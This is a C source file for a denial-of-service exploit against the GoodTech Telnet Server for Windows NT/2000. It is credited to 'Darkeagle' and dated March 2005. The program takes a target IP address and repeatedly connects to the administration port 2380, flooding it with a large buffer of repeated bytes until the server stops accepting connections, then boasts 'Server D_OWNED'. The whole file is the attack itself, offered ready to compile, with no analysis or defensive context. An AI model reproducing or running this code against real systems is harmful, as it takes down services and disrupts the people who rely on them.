/*
                1337 0day D0S exploit for latest version of
                      GoodTech Telnet Server for Windows NT/2000
  
  bug found by Darkeagle
  16.03.05 at 11:30 am

*/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>

int main(int argc, char **argv)
{

  int i, err;
  unsigned char mex[300000];
  SOCKET sock;
  struct sockaddr_in sock_addr;
  WSADATA data;
  WORD p;
  p=MAKEWORD(2,0);
                            i = 0;
   if ( argc < 2 ) { printf("\n\n 1337 0day D0S exploit for GoodTech Telnet Server for Windows NT/2000\n\n");
                     printf(" usage: %s <ip>\n\n", argv[0]);
                     exit(5);
                   }
   printf("\n\n 1337 0day D0S exploit for GoodTech Telnet Server for Windows NT/2000\n\n");
   for ( ;; ) {
  WSAStartup(p,&data);
                                       i++;
  sock = socket(AF_INET, SOCK_STREAM, 0);
  sock_addr.sin_family=PF_INET;
  sock_addr.sin_port=htons(2380); /* Administration web server port */
  sock_addr.sin_addr.s_addr= inet_addr(argv[1]);

  err = connect(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr));
  if(err<0){
    printf("Server D_OWNED!!!!!!!!!\n", argv[1]);
      break;
    exit(-1);
  }

        memset(mex, 0x55, 55555);

  printf("%d - Sending %d bytes.....\n", i, strlen(mex));
  send(sock, mex , strlen(mex), 0);

  closesocket(sock);
  WSACleanup();
   }
  return 0;
}